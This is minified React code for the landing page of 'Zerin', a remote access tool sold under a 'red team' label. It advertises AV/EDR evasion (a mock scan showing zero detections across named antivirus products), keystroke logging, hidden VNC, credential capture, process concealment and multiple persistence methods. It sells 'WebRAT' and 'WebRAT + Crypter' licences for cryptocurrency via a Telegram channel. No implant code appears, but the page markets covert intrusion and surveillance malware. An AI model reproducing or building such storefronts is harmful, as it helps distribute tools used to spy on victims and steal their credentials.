8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CRYPTO",title:"Encrypted C2",desc:"ChaCha20-Poly1305 encrypted communications. X25519 key exchange. TLS 1.3 transport. Zero plaintext on the wire — ever.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"SHELL",title:"Command Execution",desc:"Interactive shell with full PowerShell and CMD support. Run commands, scripts, and post-exploitation modules on target systems.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"RECON",title:"Input Monitoring",desc:"Real-time keystroke capture with window context. Logs organized by application for comprehensive assessment data.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 8.25h9m-9 3H12m-9.75 1.51c0 1.6 1.123 2.994 2.707 3.227 1.129.166 2.27.293 3.423.379.35.026.67.21.865.501L12 21l2.755-4.133a1.14 1.14 0 0 1 .865-.501 48.172 48.172 0 0 0 3.423-.379c1.584-.233 2.707-1.626 2.707-3.228V6.741c0-1.602-1.123-2.995-2.707-3.228A48.394 48.394 0 0 0 12 3c-2.392 0-4.744.175-7.043.513C3.373 3.746 2.25 5.14 2.25 6.741v6.018Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"TUNNEL",title:"SOCKS5 Proxy",desc:"Reverse SOCKS5 tunnel through the agent. Pivot into internal networks and route traffic for lateral movement testing.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})})}],BA=["Windows Defender","CrowdStrike Falcon","SentinelOne","Kaspersky","Bitdefender","Norton 360","ESET NOD32","Malwarebytes","McAfee Total","Sophos Endpoint","Trend Micro","Avast Premium","CylancePROTECT","Carbon Black","Palo Alto Cortex","Webroot"];function Es({value:e,label:t,suffix:n="",prefix:r=""}){const i=p.useRef(null),a=p.useRef(null);return p.useEffect(()=>{const o=i.current,l=a.current;if(!o||!l)return;const c=new IntersectionObserver(([u])=>{if(u.isIntersecting){let d=0;const m=Math.max(1,Math.ceil(e/40)),h=setInterval(()=>{d+=m,d>=e?(l.textContent=r+e.toLocaleString()+n,clearInterval(h)):l.textContent=r+d.toLocaleString()+n},50);c.disconnect()}},{threshold:.3});return c.observe(o),()=>c.disconnect()},[e,n,r]),s.jsxs("div",{ref:i,className:"text-center",children:[s.jsxs("div",{ref:a,className:"font-mono text-4xl md:text-5xl font-bold text-zerin-accent tabular-nums",children:[r,"0",n]}),s.jsx("div",{className:"text-zerin-text-muted text-sm mt-2 uppercase tracking-widest font-mono text-[11px]",children:t})]})}const FA=p.memo(function({name:t,delay:n}){return s.jsxs("div",{className:"flex items-center justify-between px-4 py-[7px] border-b border-[#111118] last:border-b-0 landing-scan-row",style:{animationDelay:`${n}ms`},children:[s.jsx("span",{className:"font-mono text-[12px] text-zerin-text-dim/80 truncate",children:t}),s.jsxs("span",{className:"font-mono text-[11px] tracking-wider text-emerald-400/90 flex items-center gap-1.5 flex-shrink-0",children:[s.jsx("span",{className:"w-1 h-1 rounded-full bg-emerald-400/80"}),"Clean"]})]})}),WA=p.memo(function({feature:t,index:n}){return s.jsxs("div",{className:"group relative",style:{animationDelay:`${n*80}ms`},children:[s.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 to-transparent opacity-0 group-hover:opacity-100 transition-opacity duration-500 blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/30 transition-all duration-500 p-6 h-full flex flex-col",children:[s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/60 uppercase",children:t.tag}),s.jsx("span",{className:"text-zerin-accent/40 group-hover:text-zerin-accent transition-colors duration-500",children:t.icon})]}),s.jsx("h3",{className:"text-zerin-text font-display font-semibold text-[15px] mb-2 group-hover:text-zerin-accent transition-colors duration-300",children:t.title}),s.jsx("p",{className:"text-zerin-text-muted text-[13px] leading-relaxed flex-1",children:t.desc}),s.jsx("div",{className:"mt-5 h-[1px] w-0 group-hover:w-full bg-gradient-to-r from-zerin-accent/50 to-transparent transition-all duration-700"})]})]})});function UA(){const e=RA("Adversary Simulation. Red Team Operations.",45,600),[t,n]=p.useState(!1),[r,i]=p.useState(null),[a,o]=p.useState(()=>!sessionStorage.getItem("zerin_beta_dismissed")),l=p.useCallback(()=>{o(!1),sessionStorage.setItem("zerin_beta_dismissed","1")},[]);p.useEffect(()=>{const u=()=>n(window.scrollY>20);return window.addEventListener("scroll",u),()=>window.removeEventListener("scroll",u)},[]);const c=p.useCallback(async u=>{if(!r){i(u);try{const d=await fetch("/api/payments/create",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({tier:u})}),f=await d.json();if(!d.ok){alert(f.error||"Failed to create payment");return}window.location.href=f.invoice_url}catch{alert("Failed to create payment. Please try again.")}finally{i(null)}}},[r]);return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[s.jsx(DA,{}),a&&s.jsxs("div",{className:"fixed inset-0 z-[100] flex items-center justify-center px-4",onClick:l,children:[s.jsx("div",{className:"absolute inset-0 bg-black/70 backdrop-blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 max-w-md w-full p-8 animate-scale-in",onClick:u=>u.stopPropagation(),children:[s.jsx("div",{className:"absolute top-0 left-0 w-3 h-3 border-t border-l border-zerin-accent/50"}),s.jsx("div",{className:"absolute top-0 right-0 w-3 h-3 border-t border-r border-zerin-accent/50"}),s.jsx("div",{className:"absolute bottom-0 left-0 w-3 h-3 border-b border-l border-zerin-accent/50"}),s.jsx("div",{className:"absolute bottom-0 right-0 w-3 h-3 border-b border-r border-zerin-accent/50"}),s.jsxs("div",{className:"flex items-center gap-2.5 mb-5",children:[s.jsx("span",{className:"w-2 h-2 rounded-full bg-amber-400 animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-amber-400/90 uppercase",children:"Beta"})]}),s.jsx("h3",{className:"font-display font-bold text-xl text-zerin-text mb-3",children:"Zerin is still in development"}),s.jsx("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-3",children:"The platform is currently in beta and not yet feature-complete. We're actively building and testing before public release."}),s.jsxs("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-6",children:["The official release will be announced on our"," ",s.jsx("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"Telegram channel"}),"."]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:l,className:"flex-1 bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 text-zerin-accent font-mono text-sm py-2.5 transition-all duration-300",children:"Got it"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"flex-1 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm py-2.5 text-center transition-all duration-300 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] flex items-center justify-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Join Telegram"]})]})]})]}),s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),s.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${t?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(dt,{to:"/features",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),s.jsx("a",{href:"#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx(dt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),s.jsx(dt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),s.jsxs("section",{className:"relative z-10 min-h-screen flex flex-col items-center justify-center px-6 text-center",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 border border-emerald-500/20 bg-emerald-500/5 px-4 py-1.5 mb-8 animate-fade-in",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-emerald-400 animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[11px] text-emerald-400/90 tracking-wide",children:"Advanced Red Team Framework"})]}),s.jsx("img",{src:"/zerin-logo.png",alt:"Zerin",className:"w-28 h-28 md:w-36 md:h-36 object-contain mb-6 opacity-0 animate-fade-in drop-shadow-[0_0_40px_rgba(6,182,212,0.4)]",style:{animationDelay:"200ms",animationFillMode:"forwards"}}),s.jsxs("h1",{className:"font-display font-bold text-5xl sm:text-6xl md:text-7xl lg:text-8xl tracking-tight leading-[0.95] mb-6",children:[s.jsx("span",{className:"block text-zerin-text opacity-0 animate-slide-up",children:"Next-Gen"}),s.jsx("span",{className:"block bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent opacity-0 animate-slide-up",style:{animationDelay:"150ms",animationFillMode:"forwards"},children:"Remote Access"})]}),s.jsx("div",{className:"h-8 mb-8",children:s.jsxs("span",{className:"font-mono text-lg md:text-xl text-zerin-text-muted",children:[s.jsx("span",{ref:e.spanRef}),s.jsx("span",{ref:e.cursorRef,className:"inline-block w-[2px] h-5 bg-zerin-accent ml-0.5 animate-pulse"})]})}),s.jsx("p",{className:"max-w-xl text-zerin-text-muted/80 text-[15px] leading-relaxed mb-10 opacity-0 animate-fade-in",style:{animationDelay:"800ms",animationFillMode:"forwards"},children:"Professional adversary simulation platform for red team operators and penetration testers. Encrypted C2 communications, polymorphic payload generation, and comprehensive post-exploitation capabilities."}),s.jsxs("div",{className:"flex items-center gap-4 opacity-0 animate-fade-in",style:{animationDelay:"1000ms",animationFillMode:"forwards"},children:[s.jsxs("a",{href:"#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[s.jsx("span",{className:"relative z-10",children:"Get Access"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),s.jsx(dt,{to:"/login",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-7 py-3 transition-all duration-300",children:"Sign In"})]}),s.jsxs("div",{className:"absolute bottom-10 left-1/2 -translate-x-1/2 flex flex-col items-center gap-2 opacity-0 animate-fade-in",style:{animationDelay:"1500ms",animationFillMode:"forwards"},children:[s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted/40 uppercase tracking-[0.3em]",children:"Scroll"}),s.jsx("div",{className:"w-[1px] h-8 bg-gradient-to-b from-zerin-accent/30 to-transparent animate-pulse"})]})]}),s.jsx("section",{className:"relative z-10 py-28 px-6",children:s.jsxs("div",{className:"max-w-5xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-14",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-emerald-400/70 uppercase",children:"Evasion Testing"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Built to Bypass."," ",s.jsx("span",{className:"bg-gradient-to-r from-emerald-400 to-cyan-300 bg-clip-text text-transparent",children:"Every Build Unique."})]}),s.jsx("p",{className:"text-zerin-text-muted text-[14px] mt-3 max-w-lg mx-auto",children:"Every payload is structurally unique. Polymorphic generation, encrypted strings, and dynamic API resolution — built for testing your security stack."})]}),s.jsxs("div",{className:"grid lg:grid-cols-2 gap-8 items-start",children:[s.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b] overflow-hidden",children:[s.jsxs("div",{className:"flex items-center justify-between px-5 py-3.5 border-b border-[#1a1a22] bg-[#08080c]",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 rounded-sm bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-emerald-400",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})})}),s.jsxs("div",{children:[s.jsx("div",{className:"font-mono text-[12px] text-zerin-text font-medium",children:"zerin_agent.exe"}),s.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted",children:"SHA256: a4f8...3d7e · 487 KB"})]})]}),s.jsxs("div",{className:"text-right",children:[s.jsx("div",{className:"font-mono text-[22px] font-bold text-emerald-400 leading-none",children:"0 / 72"}),s.jsx("div",{className:"font-mono text-[9px] text-emerald-400/60 uppercase tracking-wider mt-0.5",children:"Detections"})]})]}),s.jsx("div",{className:"px-5 py-2.5 border-b border-[#1a1a22]",children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"flex-1 h-1 bg-[#111118] rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-gradient-to-r from-emerald-500 to-emerald-400 rounded-full landing-scan-bar"})}),s.jsx("span",{className:"font-mono text-[10px] text-emerald-400/80",children:"72 / 72"})]})}),s.jsx("div",{className:"max-h-[340px] overflow-y-auto custom-scrollbar",children:BA.map((u,d)=>s.jsx(FA,{name:u,delay:d*60},u))})]}),s.jsx("div",{className:"space-y-5 lg:pt-2",children:[{title:"Polymorphic Generation",desc:"Every build produces unique machine code. No two agents share the same byte sequence — tests your AV/EDR signature detection capabilities.",icon:"01"},{title:"Encrypted Strings",desc:"All strings are ChaCha20-encrypted with a per-build key. Decrypted at runtime and wiped after use. Designed to challenge static analysis tools.",icon:"02"},{title:"In-Memory Execution",desc:"Modules are loaded reflectively in memory — no disk artifacts, no loaded module list entries. Tests your EDR memory scanning capabilities.",icon:"03"},{title:"Dynamic API Resolution",desc:"Windows API calls resolved via runtime hash lookup. Clean import table — challenges import-based heuristic detection engines.",icon:"04"}].map(u=>s.jsxs("div",{className:"group flex gap-4 p-4 border border-[#1a1a22] bg-[#08080c]/50 hover:border-zerin-accent/20 transition-all duration-300",children:[s.jsx("div",{className:"flex-shrink-0 w-9 h-9 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center",children:s.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70 font-bold",children:u.icon})}),s.jsxs("div",{children:[s.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text mb-1 group-hover:text-zerin-accent transition-colors duration-300",children:u.title}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed",children:u.desc})]})]},u.icon))})]})]})}),s.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-[#1a1a22]/50",children:s.jsx("div",{className:"max-w-5xl mx-auto",children:s.jsxs("div",{className:"grid lg:grid-cols-2 gap-12 items-center",children:[s.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b]",children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b border-[#1a1a22]",children:[s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-red-500/60"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-yellow-500/40"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-green-500/40"}),s.jsx("span",{className:"ml-3 font-mono text-[11px] text-zerin-text-muted/50",children:"zerin@c2 ~ session"})]}),s.jsxs("div",{className:"p-5 font-mono text-[12px] leading-[1.8] space-y-0.5",children:[s.jsxs("div",{children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2",children:"stealth --deploy"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Reflective module: 48 KB"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into explorer.exe (PID 4892)... ",s.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into svchost.exe (PID 1204)... ",s.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Process concealment active"}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Hidden from: Task Manager, Process Explorer, WMI"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",s.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] Stealth mode — ",s.jsx("span",{className:"text-zerin-accent",children:"active"})]}),s.jsxs("div",{className:"mt-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2",children:"persist --install --all-methods"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Agent installed to staging directory"}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Methods: RunKey, SchTask, Startup, WMI, COM, BITS"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",s.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] 6/6 persistence methods — ",s.jsx("span",{className:"text-zerin-accent",children:"installed"})]}),s.jsxs("div",{className:"mt-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2 inline-flex items-center",children:s.jsx("span",{className:"w-[2px] h-3.5 bg-zerin-accent/60 animate-pulse"})})]})]})]}),s.jsxs("div",{children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Stealth Engine"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight mb-5",children:["Advanced"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Evasion."})]}),s.jsx("div",{className:"flex flex-wrap gap-2 mt-6",children:["Reflective Loading","API Hooking","Process Monitor","12 Persist Methods","Auto-Relocate","File Concealment"].map(u=>s.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-accent/70 border border-zerin-accent/15 bg-zerin-accent/5 px-2.5 py-1",children:u},u))})]})]})})}),s.jsx("section",{className:"relative z-10 py-24 px-6",children:s.jsxs("div",{className:"max-w-6xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-16",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Capabilities"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Everything You Need."," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"One Platform."})]})]}),s.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-5 gap-[1px] bg-[#1a1a22]/30",children:$A.map((u,d)=>s.jsx(WA,{feature:u,index:d},u.tag))})]})}),s.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-b border-[#1a1a22]/50",children:s.jsxs("div",{className:"max-w-5xl mx-auto grid grid-cols-2 md:grid-cols-5 gap-10",children:[s.jsx(Es,{value:256,suffix:"-bit",label:"Encryption"}),s.jsx(Es,{value:12,suffix:"",label:"Persist Methods"}),s.jsx(Es,{value:100,suffix:"%",label:"C2 Uptime"}),s.jsx(Es,{value:0,suffix:"",label:"Disk Artifacts"}),s.jsx(Es,{value:48,suffix:"",label:"Modules"})]})}),s.jsx("section",{id:"pricing",className:"relative z-10 py-32 px-6",children:s.jsxs("div",{className:"max-w-6xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-16",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Pricing"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["One License."," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Lifetime Access."})]}),s.jsx("p",{className:"text-zerin-text-muted text-[15px] mt-4 max-w-md mx-auto",children:"No subscriptions. No recurring fees. Pay once, own it forever."})]}),s.jsxs("div",{className:"grid md:grid-cols-2 gap-6 max-w-4xl mx-auto",children:[s.jsx("div",{className:"group relative",children:s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/20 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Early Access"})]}),s.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),s.jsxs("div",{className:"px-6 pt-6 pb-4",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase mb-2",children:"WebRAT"}),s.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[s.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$75"}),s.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$150"})]}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:["Process concealment engine","Polymorphic payload generation","Persistence testing (12 methods)","Hidden VNC & remote desktop","Encrypted C2 (ChaCha20 + X25519)","Credential auditing module","SOCKS5 reverse proxy / pivoting","In-memory execution","Screen capture & input monitoring","All future updates included"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5",children:s.jsx("button",{onClick:()=>c("rat"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden border border-zerin-accent text-zerin-accent font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:bg-zerin-accent/10 disabled:opacity-50 disabled:cursor-wait",children:s.jsx("span",{className:"relative z-10",children:r==="rat"?"Creating Invoice...":"Purchase with Crypto"})})})]})}),s.jsxs("div",{className:"group relative",children:[s.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 via-transparent to-zerin-accent/10 opacity-60 group-hover:opacity-100 transition-opacity duration-700 blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 group-hover:border-zerin-accent/50 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Best Value"})]}),s.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),s.jsxs("div",{className:"px-6 pt-6 pb-4",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-accent/80 uppercase mb-2",children:"WebRAT + Crypter"}),s.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[s.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$150"}),s.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$300"})]}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsxs("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:[["Everything in WebRAT, plus:"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 